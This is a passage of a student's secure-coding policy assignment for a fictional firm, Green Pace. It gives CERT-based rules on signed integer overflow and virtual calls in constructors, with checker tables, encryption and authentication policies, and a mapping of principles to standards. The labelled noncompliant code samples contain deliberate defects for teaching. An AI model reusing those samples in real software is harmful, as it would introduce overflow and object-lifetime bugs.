| Overflow | STD-009-C  ([INT32-C](https://wiki.sei.cmu.edu/confluence/display/c/INT32-C.+Ensure+that+operations+on+signed+integers+do+not+result+in+overflow)) | **Ensure that operations on signed integers do not result in overflow**  Signed integer overflow is undefined behavior, giving implementations significant flexibility in how they handle it. For example, an implementation that treats signed integer types as modulo may not detect overflow, while others might trap overflows or assume they won't occur and generate object code accordingly. |

| **Noncompliant Code** |
| --- |
| In this code, signed integer overflow can occur when the sum of si\_a and si\_b exceeds the maximum or minimum values that can be represented by a signed int. |
| void func(signed int si\_a, signed int si\_b) {    signed int sum = si\_a + si\_b;    /\* ... \*/  } |

| **Compliant Code** |
| --- |
| This code prevents signed integer overflow by checking whether the sum of si\_a and si\_b would exceed the boundaries of a signed int before performing the addition. |
| #include <limits.h>    void f(signed int si\_a, signed int si\_b) {    signed int sum;    if (((si\_b > 0) && (si\_a > (INT\_MAX - si\_b))) ||        ((si\_b < 0) && (si\_a < (INT\_MIN - si\_b)))) {      /\* Handle error \*/    } else {      sum = si\_a + si\_b;    }    /\* ... \*/  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):** [Name the principle and explain how it maps to this standard.] |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Likely | High | P9 | L2 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Astrée](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152428) | 24.04 | **integer-overflow** | Fully checked |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/c/CodeSonar) | 9.0p0 | **ALLOC.SIZE.ADDOFLOW ALLOC.SIZE.IOFLOW ALLOC.SIZE.MULOFLOW ALLOC.SIZE.SUBUFLOW MISC.MEM.SIZE.ADDOFLOW MISC.MEM.SIZE.BAD MISC.MEM.SIZE.MULOFLOW MISC.MEM.SIZE.SUBUFLOW** | Addition overflow of allocation size Integer overflow of allocation size Multiplication overflow of allocation size Subtraction underflow of allocation size Addition overflow of size Unreasonable size argument Multiplication overflow of size Subtraction underflow of size |
| [Coverity](https://wiki.sei.cmu.edu/confluence/display/c/Coverity) | 2017.07 | **TAINTED\_SCALAR**  **BAD\_SHIFT** | Implemented |
| [Cppcheck Premium](https://wiki.sei.cmu.edu/confluence/display/c/Cppcheck+Premium) | 24.11.0 | **premium-cert-int32-c** |  |
| [Helix QAC](https://wiki.sei.cmu.edu/confluence/display/c/Helix+QAC) | 2024.4 | **C2800, C2860**  **C++2800, C++2860**  **DF2801, DF2802, DF2803, DF2861, DF2862, DF2863** |  |
| [Klocwork](https://wiki.sei.cmu.edu/confluence/display/c/Klocwork) | 2024.4 | **NUM.OVERFLOW** **CWARN.NOEFFECT.OUTOFRANGE** **NUM.OVERFLOW.DF** |  |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/c/LDRA) | 9.7.1 | **493 S, 494 S** | Partially implemented |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) | 2024.2 | **CERT\_C-INT32-a** **CERT\_C-INT32-b** **CERT\_C-INT32-c** | Avoid signed integer overflows Integer overflow or underflow in constant expression in '+', '-', '\*' operator Integer overflow or underflow in constant expression in '<<' operator |
| [Parasoft Insure++](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) |  |  | Runtime analysis |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/c/Polyspace+Bug+Finder) | R2024b | [CERT C: Rule INT32-C](https://www.mathworks.com/help/bugfinder/ref/certcruleint32c.html) | Checks for:   * Integer overflow * Tainted division operand * Tainted modulo operand   Rule partially covered. |
| [PVS-Studio](https://wiki.sei.cmu.edu/confluence/display/cplusplus/PVS-Studio) | 7.35 | [**V1026**](https://pvs-studio.com/en/docs/warnings/v1026/)**,**[**V1070**](https://pvs-studio.com/en/docs/warnings/v1070/)**,**[**V1081**](https://pvs-studio.com/en/docs/warnings/v1081/)**,**[**V1083**](https://pvs-studio.com/en/docs/warnings/v1083/)**,**[**V1085**](https://pvs-studio.com/en/docs/warnings/v1085/)**,**[**V5010**](https://pvs-studio.com/en/docs/warnings/v5010/) |  |
| [TrustInSoft Analyzer](https://wiki.sei.cmu.edu/confluence/display/c/TrustInSoft+Analyzer) | 1.38 | **signed\_overflow** | Exhaustively verified (see [one compliant and one non-compliant example](https://taas.trust-in-soft.com/tsnippet/t/06486475)). |

#### Coding Standard 10

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| Object Oriented Programming | STD-010-CPP  ([OOP50-CPP](https://wiki.sei.cmu.edu/confluence/display/cplusplus/OOP50-CPP.+Do+not+invoke+virtual+functions+from+constructors+or+destructors)  ) | **Do not invoke virtual functions from constructors or destructors**  Virtual functions enable function calls to be determined at runtime based on the object's actual type, supporting inheritance and method overriding in object-oriented programming. When calling a nonvirtual function or using a direct class member call, the specified function is invoked; otherwise, the call resolves to the overridden function in the object's dynamic type. |

| **Noncompliant Code** |
| --- |
| The code below, the base class attempts to manage an object's resources by calling virtual functions in its constructor and destructor. However, the B::B() constructor calls B::seize() instead of D::seize(), and the B::~B() destructor calls B::release() instead of D::release(). |
| struct B {    B() { seize(); }    virtual ~B() { release(); }    protected:    virtual void seize();    virtual void release();  };    struct D : B {    virtual ~D() = default;    protected:    void seize() override {      B::seize();      // Get derived resources...    }      void release() override {      // Release derived resources...      B::release();    }  }; |

| **Compliant Code** |
| --- |
| n this compliant solution, the constructors and destructors invoke a nonvirtual, private member function (with the suffix "mine") instead of calling a virtual function. This ensures that each class manages its own resource acquisition and release. |
| class B {    void seize\_mine();    void release\_mine();    public:    B() { seize\_mine(); }    virtual ~B() { release\_mine(); }    protected:    virtual void seize() { seize\_mine(); }    virtual void release() { release\_mine(); }  };    class D : public B {    void seize\_mine();    void release\_mine();    public:    D() { seize\_mine(); }    virtual ~D() { release\_mine(); }    protected:    void seize() override {      B::seize();      seize\_mine();    }      void release() override {      release\_mine();      B::release();    }  }; |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):** [Name the principle and explain how it maps to this standard.] |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Low | Unlikely | Medium | **P2** | **L3** |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Astrée](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=222953724) | 22.10 | **virtual-call-in-constructor invalid\_function\_pointer** | Fully checked |
| [Axivion Bauhaus Suite](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Axivion+Bauhaus+Suite) | 7.2.0 | **CertC++-OOP50** |  |
| [Clang](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Clang) | 3.9 | clang-analyzer-alpha.cplusplus.VirtualCall | Checked by clang-tidy |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/cplusplus/CodeSonar) | 9.0p0 | **LANG.STRUCT.VCALL\_IN\_CTOR**  **LANG.STRUCT.VCALL\_IN\_DTOR** | Virtual Call in Constructor  Virtual Call in Destructor |
| [Helix QAC](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Helix+QAC) | 2024.4 | **C++4260, C++4261, C++4273, C++4274, C++4275, C++4276, C++4277, C++4278, C++4279, C++4280, C++4281, C++4282** |  |
| [Klocwork](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Klocwork) | 2024.4 | **CERT.OOP.CTOR.VIRTUAL\_FUNC** |  |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/cplusplus/LDRA) | 9.7.1 | **467 S, 92 D** | Fully implemented |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Parasoft) | 2024.2 | **CERT\_CPP-OOP50-a** **CERT\_CPP-OOP50-b** **CERT\_CPP-OOP50-c** **CERT\_CPP-OOP50-d** | Avoid calling virtual functions from constructors Avoid calling virtual functions from destructors Do not use dynamic type of an object under construction Do not use dynamic type of an object under destruction |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Polyspace+Bug+Finder) | R2024b | [CERT C++: OOP50-CPP](https://www.mathworks.com/help/bugfinder/ref/certcoop50cpp.html) | Checks for virtual function call from constructors and destructors (rule fully covered) |
| [PVS-Studio](https://wiki.sei.cmu.edu/confluence/display/cplusplus/PVS-Studio) | 7.35 | [**V1053**](https://pvs-studio.com/en/docs/warnings/v1053/) |  |
| [RuleChecker](https://wiki.sei.cmu.edu/confluence/display/cplusplus/RuleChecker) | 22.10 | **virtual-call-in-constructor** | Fully checked |
| [SonarQube C/C++ Plugin](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88046388) | 4.10 | [**S1699**](https://www.sonarsource.com/products/codeanalyzers/sonarcfamilyforcpp/rules-cpp.html#RSPEC-1699) |  |

### Defense-in-Depth Illustration

This illustration provides a visual representation of the defense-in-depth best practice of layered security.



## Project One

There are seven steps outlined below that align with the elements you will be graded on in the accompanying rubric. When you complete these steps, you will have finished the security policy.

### Revise the C/C++ Standards

You completed one of these tables for each of your standards in the Module Three milestone. In Project One, add revisions to improve the explanation and examples as needed. Add rows to accommodate additional examples of compliant and noncompliant code. Coding standards begin on the security policy.

### Risk Assessment

Complete this section on the coding standards tables. Enter high, medium, or low for each of the headers, then rate it overall using a scale from 1 to 5, 5 being the greatest threat. You will address each of the seven policy standards. Fill in the columns of severity, likelihood, remediation cost, priority, and level using the values provided in the appendix.

### Automated Detection

Complete this section of each table on the coding standards to show the tools that may be used to detect issues. Provide the tool name, version, checker, and description. List one or more tools that can automatically detect this issue and its version number, name of the rule or check (preferably with link), and any relevant comments or description—if any. This table ties to a specific C++ coding standard.

### Automation

Provide a written explanation using the image provided.



Automation will be used for the enforcement of and compliance to the standards defined in this policy. Green Pace already has a well-established DevOps process and infrastructure. Define guidance on where and how to modify the existing DevOps process to automate enforcement of the standards in this policy. Use the DevSecOps diagram and provide an explanation using that diagram as context.

Automation is a critical component of any effective DevSecOps process. The current infrastructure could significantly benefit from implementing various automation techniques. A well-designed DevSecOps automation strategy should aim to fully automate most testing procedures, including code analysis, configuration management, and patching and vulnerability management. Several frameworks support automated testing. For instance, BeEF (Browser Exploitation Framework) can be used for browser-based security testing, while SQLMap is a powerful tool for detecting SQL injection vulnerabilities. These tools help identify and mitigate risks early in the development cycle.

Monitoring and threat detection can also be improved from automation. Automated tools can continuously monitor systems for suspicious behavior, collect and analyze network packets, and provide insights into user activity patterns. When anomalies are detected, automated workflows can be triggered to run diagnostic scripts and alert the appropriate entity allowing for quick discovery of threats.

Automating the build stage can further streamline the CI/CD (Continuous Integration and Continuous Deployment) process. Automated build tools compile source code, run tests, and package applications consistently and efficiently every time code is committed. This eliminates the need for manual intervention, reduces build errors, and ensures that every change is quickly validated and integrated into the main codebase.

These are some key areas within the current DevSecOps infrastructure that could greatly benefit from automation. However, nearly every stage of the process can be enhanced through automation to improve both efficiency and security. By automating routine tasks and complex workflows, organizations can reduce the risk of human error, speed up the delivery pipeline, and produce more consistent outcomes.

### Summary of Risk Assessments

| Rule | Severity | Likelihood | Remediation Cost | Priority | Level |
| --- | --- | --- | --- | --- | --- |
| STD-001-CPP | Low | Unlikely | High | Low | 3 |
| STD-002-CPP | Medium | Likely | Medium | High | 3 |
| STD-003-CPP | High | Likely | Medium | High | 1 |
| STD-004-CPP | High | Likely | Medium | High | 1 |
| STD-005-CPP | High | Likely | High | Medium | 2 |
| STD-006-CPP | Low | Unlikely | Low | Low | 3 |
| STD-007-CPP | Low | Likely | Medium | Low | 3 |
| STD-008-CPP | Medium | Unlikely | Medium | Low | 3 |
| STD-009-CPP | High | Likely | High | Medium | 2 |
| STD-010-CPP | Low | Unlikely | Medium | Low | 3 |

### Create Policies for Encryption and Triple A

Include all three types of encryption (in flight, at rest, and in use) and each of the three elements of the Triple-A framework using the tables provided***.***

* 1. Explain each type of encryption, how it is used, and why and when the policy applies.
  2. Explain each type of Triple-A framework strategy, how it is used, and why and when the policy applies.

Write policies for each and explain what it is, how it should be applied in practice, and why it should be used.

| 1. **Encryption** | **Explain what it is and how and why the policy applies.** |
| --- | --- |
| Encryption at rest | Encryption at rest refers to securing fata when it is stored in a database or a server. Stored data must be encrypted using secure and widely accepted methods such as Advanced Encryption Standard (AES) or Rivest–Shamir–Adleman (RSA) encryption to ensure confidentiality and prevent unauthorized access. This is especially critical for sensitive information, including passwords, security keys, credit card numbers, and other personally identifiable data, which are prime targets for cyberattacks. |
| Encryption in flight | Encryption in flight refers to the practice of securing data while it is being transmitted between systems, such as between a client and a server. Since data is most vulnerable during transit, it must be protected using encryption protocols like TLS (Transport Layer Security) to prevent interception or tampering. This is typically achieved through HTTPS, which not only encrypts the data but also verifies the identity of the server using digital certificates. By enforcing HTTPS for all requests, organizations can ensure that sensitive information is transmitted securely and only accessible by authorized recipients. |
| Encryption in use | Encryption in use refers to the protection of data while it is being processed, such as when it is being accessed, read, updated, etc. Traditionally, data must be decrypted before use, which creates a window of vulnerability where attackers can potentially gain access to sensitive information. However, it is now possible to perform computations directly on encrypted data without needing to decrypt it first through homomorphic encryption. This approach significantly enhances data security by reducing exposure during processing, ensuring that sensitive information remains protected even while in active use. |

| 1. **Triple-A Framework\*** | **Explain what it is and how and why the policy applies.** |
| --- | --- |
| Authentication | Authentication is the process of verifying a user’s identity using credentials such as a username and password, biometrics, or other forms of identification. This ensures that the system grants access only to authorized users. Before authentication, systems generally require users to create an account to be added to a database. To authenticate a user, the server evaluates the submitted credential data and checks it against the information stored in the system’s database. |
| Authorization | Authorization is the process of determining what actions a user is permitted to perform within a system after their identity has been authenticated. It defines the level of access granted to users based on their roles, responsibilities, or authority. For example, an administrator may have full access to all system files, with permission to add, edit, and delete, while a regular user may only have limited access to specific features or data. |
| Accounting | Accounting involves monitoring and recording user activity within a system. It captures details such as login times, accessed URLs, IP-based location data, and the services used by each user. This information helps organizations analyze user behavior and detect potential security threats. For example, if a user who normally logs in from New York suddenly accesses the system from Vietnam, the activity may be flagged as suspicious and trigger further investigation. |

**\***Use this checklist for the Triple A to be sure you include these elements in your policy:

* User logins
* Changes to the database
* Addition of new users
* User level of access
* Files accessed by users

### Map the Principles

Map the principles to each of the standards and provide a justification for the connection between the two. In Module Three milestone, you added definitions for each of the 10 principles provided. Now it’s time to connect the standards to principles to show how they are supported by principles. You may have more than one principle for each standard, and the principles may be used more than once. Principles are numbered 1 through 10. You will list the number or numbers that apply to each standard, then explain how each of these principles supports the standard. This exercise demonstrates that you have based your security policy on widely accepted principles. Linking principles to standards is a best practice.

**NOTE:** Green Pace has already successfully implemented the following:

* Operating system logs
* Firewall logs
* Anti-malware logs

| **Coding Standards** | **Principles** |
| --- | --- |
| 1. **Data Type** | * **Validate Input Data:** Makes sure that input matches the correct data type before it can be processed. |
| 1. **Data Value** | * **Validate Input Data:** Ensures that all input data is within the expected range, type, and format before it is processed. This prevents unexpected behavior, crashes, or vulnerabilities such as buffer overflows and logic errors. * **Defense in Depth:** Checks data value for multiple processes such as authentication, encryption, and database access. This allows multi layer protection through data validation. |
| 1. **String Correctness** | * **Sanitize Data Sent to Other Systems:** Clean and modify string input to make it safe for use in a program to prevent security issues like SQL Injections, Buffer Overflows and Command Injections. |
| 1. **SQL Injections** | * **Validate Input Data**: Prevents injections by checking inputs for correct type, length, and pattern. This prevents databases from processing SQL Injections. * **Sanitize Data Sent to Other Systems:** Sanitizes and escapes any data passed to the database to ensure it cannot alter the structure of SQL commands. This helps prevent attackers from injecting malicious code through input fields. |
| 1. **Memory Protection** | * **Use Effective Quality Assurance Techniques:** Quality Assurance identifies risks like memory leaks, uninitialized variables, buffer overflows, and dangling pointers before they reach production. * **Adopt a Secure Coding Standard:** Secure coding standards provide concrete rules for safe memory handling, including best practices for allocation, usage, and deallocation. * **Architect and Design for Security Policies:** Secure memory protection begins at the design level. Applying security policies early ensures the software architecture avoids dangerous patterns such as unsafe buffer usage, unbounded arrays, or reliance on manual memory management. |
| 1. **Assertions** | * **Keep it Simple**: Assertions help simplify both development and debugging by explicitly stating assumptions in the code. This reduces the need for complex error-handling logic in non-critical situations and makes the codebase easier to read, reason about, and maintain. * **Adopt a Secure Coding Standard**: Secure coding standards includes using assertions to enforce invariants, avoiding unsafe assumptions, and improve code correctness without leaking sensitive implementation details in production environments. |
| 1. **Exceptions** | * **Heed Compiler Warning:** Compilers often flag potential issues such as unhandled exceptions or risky operations. Paying attention to these warnings helps catch error-handling gaps early, ensuring exceptions are properly addressed and the application behaves reliably. * **Validate Input Data:** Exception is a tool that can be used to validate inputs. If we want to put constraints on input exception, it is a great tool to detect inputs that don’t adhere to constraints. |
| 1. **Input/Output** | * **Validate Input Data**: Validating input data prevents uncleaned or malicious data from causing unexpected behavior within the System. * **Sanitize Data Sent to Other System**: Output data must be cleansed of sensitive or dangerous content, like removing script tags or encoding special characters to prevent Injections. * **Defense in Depth**: Security is strengthened by applying multiple layers of validation, filtering, and encoding, both at entry points (input) and exit points (output). |
| 1. **Overflow** | * **Validate Input Data**: Checking user input and operational values before they are used can prevent buffer and overflows. Input bounds checking helps ensure data fits within safe limits. |
| 1. **Object Oriented Programming** | * **Design for Security Policies**: Should adhere to 4 OOP principles, Encapsulations, Abstraction, Inheritance, and Polymorphism. * **Keep It Simple**: OOP promotes modular design, which makes code easier to reason about, test, and maintain. * **Adhere to the Principle of Least Privilege**: OOP allows private, protected and public declaration to establish a least privilege infrastructure. * **Adopt a Secure Coding Standard:** Following a secure coding standard ensures consistent and safe design of object-oriented components. It helps developers avoid common vulnerabilities such as exposing private data, insecure method overriding, or misuse of inheritance and polymorphism. |

The only item you must complete beyond this point is the Policy Version History table.

## Audit Controls and Management

Every software development effort must be able to provide evidence of compliance for each software deployed into any Green Pace managed environment.

Evidence will include the following:

* Code compliance to standards
* Well-documented access-control strategies, with sampled evidence of compliance
* Well-documented data-control standards defining the expected security posture of data at rest, in flight, and in use
* Historical evidence of sustained practice (emails, logs, audits, meeting notes)

## Enforcement

The office of the chief information security officer (OCISO) will enforce awareness and compliance of this policy, producing reports for the risk management committee (RMC) to review monthly. Every system deployed in any environment operated by Green Pace is expected to be in compliance with this policy at all times.

Staff members, consultants, or employees found in violation of this policy will be subject to disciplinary action, up to and including termination.

## Exceptions Process

Any exception to the standards in this policy must be requested in writing with the following information:

* Business or technical rationale
* Risk impact analysis
* Risk mitigation analysis
* Plan to come into compliance
* Date for when the plan to come into compliance will be completed

Approval for any exception must be granted by chief information officer (CIO) and the chief information security officer (CISO) or their appointed delegates of officer level.

Exceptions will remain on file with the office of the CISO, which will administer and govern compliance.

## Distribution

This policy is to be distributed to all Green Pace IT staff annually. All IT staff will need to certify acceptance and awareness of this policy annually.

## Policy Change Control

This policy will be automatically reviewed annually, no later than 365 days from the last revision date. Further, it will be reviewed in response to regulatory or compliance changes, and on demand as determined by the OCISO.

## Policy Version History

| Version | Date | Description | Edited By | Approved By |
| --- | --- | --- | --- | --- |
| 1.0 | 08/05/2020 | Initial Template | David Buksbaum |  |
| 2.0 | 04/12/2025 | Revised Document | Binaya Rimal |  |

## Appendix A Lookups

### Approved C/C++ Language Acronyms

| Language | Acronym |
| --- | --- |
| C++ | CPP |
| C | CLG |
| Java | JAV |